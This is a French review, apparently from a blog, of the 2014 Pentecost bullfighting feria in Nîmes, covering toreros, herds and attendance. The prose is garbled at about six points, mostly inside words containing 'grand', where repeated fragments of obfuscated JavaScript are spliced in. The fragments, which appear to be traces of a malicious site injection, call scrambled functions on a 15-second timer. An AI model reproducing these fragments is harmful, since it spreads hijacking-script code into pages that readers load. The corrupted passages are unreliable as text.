NIMES PENTECÔTE 2014 : MAUVAIS MOMENTS ET INSTANTS DE GRACE.

Selon que l’on jouera à l’enfant trop gâté (et le public nîmois a été ces dernières années plus qu’abondamment servi) ou que l’on s’efforcera de mesurer à sa juste valeur son sort plus qu’enviable, le bilan de la feria de Pentecôte qui s’achève apparaîtra entaché de mauvais moments ou émaillé d’authentiques instants de grâce.

 2014 laissera sans aucun doute un triste souvenir à Clemente qui entendit sonner trois avis pour son premier grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and rendez-vous de la temporada. Image à oublier, tout aussi rapidement que la faiblesse chronique étalée par de trop nombreux lots pourtant  de fort respectable présentation. Comme ce fut par exemple le cas des Zalduendo face auxquels Juan Bautista est malgré tout parvenu à triompher pour fêter sa 500e corrida.

 Difficile de passer sous silence les Miura de présentation plus discutable pour certains et dont trois exemplaires furent changés. Ils ont été à l’origine de la pire course du cycle et de la colère rentrée du Juli et de celle plus sonore du public.

Dépit certainement aussi pour Castella, bien mal servi par son lot de Garcigrandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande, et dans une moindre mesure pour Ponce dont le second Juan Pedro présentait peu d’options en raison de sa faiblesse.

Ces quelques ombres au tableau ne sauraient en tout cas masquer les grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ands moments vécus avec d’énormes Manzanares et Finito devant les Juan Pedro - à qui il manquait un poil de force pour devenir anthologiques -, avec le solide Perera face aux Victoriano del Rio, avec El Juli, véritable mécanique de précision et Roman confirmant son alternative devant les Garcigrandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande ou encore Juan del Alamo qui a su convaincre, devant de sérieux et coriaces Fuente Ymbro, de sa capacité à rejoindre le rang des figuras. Si beaucoup de toreros présents dans la Feria présentent un bilan artistique relevé, il reste à mes yeux celui dont la prestation fut la plus engagée et intense.

Dernière grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande satisfaction qu’il convient de souligner : une fréquentation en hausse aux arènes avec près de cinq pleins (dont un « No hay billetes ») et des antis-taurins quasi inexistants.

Par les temps qui courent, pourquoi donc ne pas se réjouir ?

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